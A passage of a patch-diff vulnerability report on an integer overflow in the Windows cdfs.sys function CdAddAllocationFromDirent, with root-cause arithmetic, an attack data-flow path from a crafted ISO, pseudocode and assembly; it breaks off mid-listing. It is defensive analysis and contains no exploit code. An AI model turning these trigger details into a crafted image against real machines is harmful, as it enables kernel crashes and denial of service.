&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch resolves an integer overflow vulnerability in the Windows CD-ROM File System driver (&lt;code&gt;cdfs.sys&lt;/code&gt;) that allows a crafted ISO image to trigger a kernel pool buffer overflow. The demonstrable, reachable impact is kernel memory corruption resulting in a system crash (BSOD / Denial of Service). Reliable privilege escalation is not demonstrated: the overflow is an unbounded, multi-gigabyte linear copy that cannot be groomed and requires the driver to first succeed at a multi-gigabyte pool allocation.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;2. Vulnerability Summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; High&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Integer Overflow leading to Kernel Pool Buffer Overflow (CWE-190 / CWE-122; the out-of-bounds copy is also CWE-787)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;CdAddAllocationFromDirent&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt;
The &lt;code&gt;CdAddAllocationFromDirent&lt;/code&gt; function is responsible for growing an array of allocation extents (file layout data) when parsing an ISO9660 disk image. The array capacity at &lt;code&gt;FCB+0x108&lt;/code&gt; is initialized to 1 and doubles on each growth, so it only ever takes power-of-two values (1, 2, 4, ..., 2^n). When the array reaches capacity, the function allocates a new buffer for double the current entry count and copies the old data into it.
The unpatched code calculates the size of this new allocation using 32-bit arithmetic (&lt;code&gt;capacity * 0x50&lt;/code&gt;). The 32-bit product overflows once the capacity exceeds &lt;code&gt;0xFFFFFFFF / 0x50&lt;/code&gt; (about 53.7 million). Because capacity is a power of two, the first value that actually reaches this condition is &lt;code&gt;0x4000000&lt;/code&gt; (2^26 = 67,108,864). At that growth the 32-bit calculation &lt;code&gt;0x4000000 * 0x50 = 0x140000000&lt;/code&gt; truncates to &lt;code&gt;0x40000000&lt;/code&gt; (1 GiB), so &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; allocates a 1 GiB buffer.
However, the &lt;code&gt;memmove&lt;/code&gt; routine that follows calculates the copy length using 64-bit arithmetic (&lt;code&gt;40LL * capacity&lt;/code&gt;), which does not overflow. It attempts to copy &lt;code&gt;0x4000000 * 0x28 = 0xA0000000&lt;/code&gt; bytes (about 2.5 GiB) into the 1 GiB buffer, overrunning it by roughly 1.5 GiB. The patch fixes this by upgrading the allocation size calculation to 64-bit and explicitly checking if the final size exceeds a 32-bit boundary, raising an exception if it does.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Attacker-Reachable Entry Point &amp;amp; Data Flow:&lt;/strong&gt;
1. An attacker provides a crafted ISO9660 image containing a file whose parsing adds on the order of 67 million directory entry extents (enough to drive the capacity counter to 2^26).
2. A user mounts the image and opens or reads the crafted file (via Explorer or &lt;code&gt;CreateFile&lt;/code&gt;/&lt;code&gt;ReadFile&lt;/code&gt;), triggering an &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt; or &lt;code&gt;IRP_MJ_READ&lt;/code&gt;.
3. The IRP is dispatched to &lt;code&gt;CdFsdDispatch&lt;/code&gt; / &lt;code&gt;CdFspDispatch&lt;/code&gt;.
4. The request flows through &lt;code&gt;CdCommonCreate&lt;/code&gt; or &lt;code&gt;CdCommonRead&lt;/code&gt;.
5. It enters &lt;code&gt;CdInitializeFcbFromFileContext&lt;/code&gt; or &lt;code&gt;CdPrepareBuffers&lt;/code&gt;.
6. &lt;code&gt;CdLookupAllocation&lt;/code&gt; is invoked to parse file extents.
7. &lt;code&gt;CdAddAllocationFromDirent&lt;/code&gt; is called to store extent data, triggering the integer overflow and subsequent kernel pool overflow.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;3. Pseudocode Diff&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// UNPATCHED CdAddAllocationFromDirent&lt;/span&gt;
&lt;span class="c1"&gt;// Note the 32-bit arithmetic (eax) for allocation size&lt;/span&gt;
&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;alloc_size_32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// *** 32-BIT OVERFLOW *** (capacity * 0x50)&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;alloc_size_32&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;CdmA&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;alloc_size_32&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Note the 64-bit arithmetic (r8) for memmove size&lt;/span&gt;
&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;copy_size_64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// *** 64-BIT, NO OVERFLOW *** (capacity * 0x28)&lt;/span&gt;
&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old_array&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;copy_size_64&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;// *** HEAP OVERFLOW ***&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// PATCHED CdAddAllocationFromDirent&lt;/span&gt;
&lt;span class="c1"&gt;// Uses 64-bit register (r10) for allocation size calculation&lt;/span&gt;
&lt;span class="kt"&gt;uint64_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;alloc_size_64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;

&lt;span class="c1"&gt;// Explicit bounds check added before calling ExAllocatePoolWithTag&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;alloc_size_64&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xFFFFFFFF&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// Raises STATUS_UNEXPECTED_IO_ERROR (0xC00000E9) and aborts safely&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CdRaiseStatusEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IRP_context&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_UNEXPECTED_IO_ERROR&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Safe allocation and copy&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;new_buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;alloc_size_64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;CdmA&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;alloc_size_64&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;memmove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;new_buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old_array&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;alloc_size_64&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h3&gt;4. Assembly Analysis&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Unpatched Vulnerable Sequence:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;GROWTH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;calculate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;allocate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;doubled&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;array&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000a49d&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;BUG&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;32-bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;multiply&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;5&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000a4a6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;shl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x4&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;BUG&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;32-bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;shift&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x50&lt;/span&gt;&lt;span class="o"&gt;).&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;Truncates&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;allocation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;size&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000a4ae&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;edx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;edx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;truncated&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;size&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000a4b2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1c0008040&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;PagedPool&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;truncated_size&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;CdmA&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;old&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;array&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;into&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;undersized&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000a4ce&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;ecx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rdi&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x108&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;ecx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;capacity&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000a4db&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;rcx&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;64-bit&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000a4e2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;shl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r8&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x3&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;r8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;capacity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;0x28&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nt"&gt;64-bit&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;FULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;SIZE&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000a4e6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;0x1c0002e40&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;call&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;memmove&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;TRIGGERS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;MASSIVE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;POOL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;OVERFLOW&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched Safe Sequence:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;GROWTH&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;calculate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;64-bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;math&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;bounds&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;---&lt;/span&gt;
&lt;span class="nt"&gt;0x1c000a4a1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nt"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="nt"&gt;r10&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cp"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nx"&gt;rax&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="cp"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;FIX&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;64-bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;multiply&lt;/span&gt;
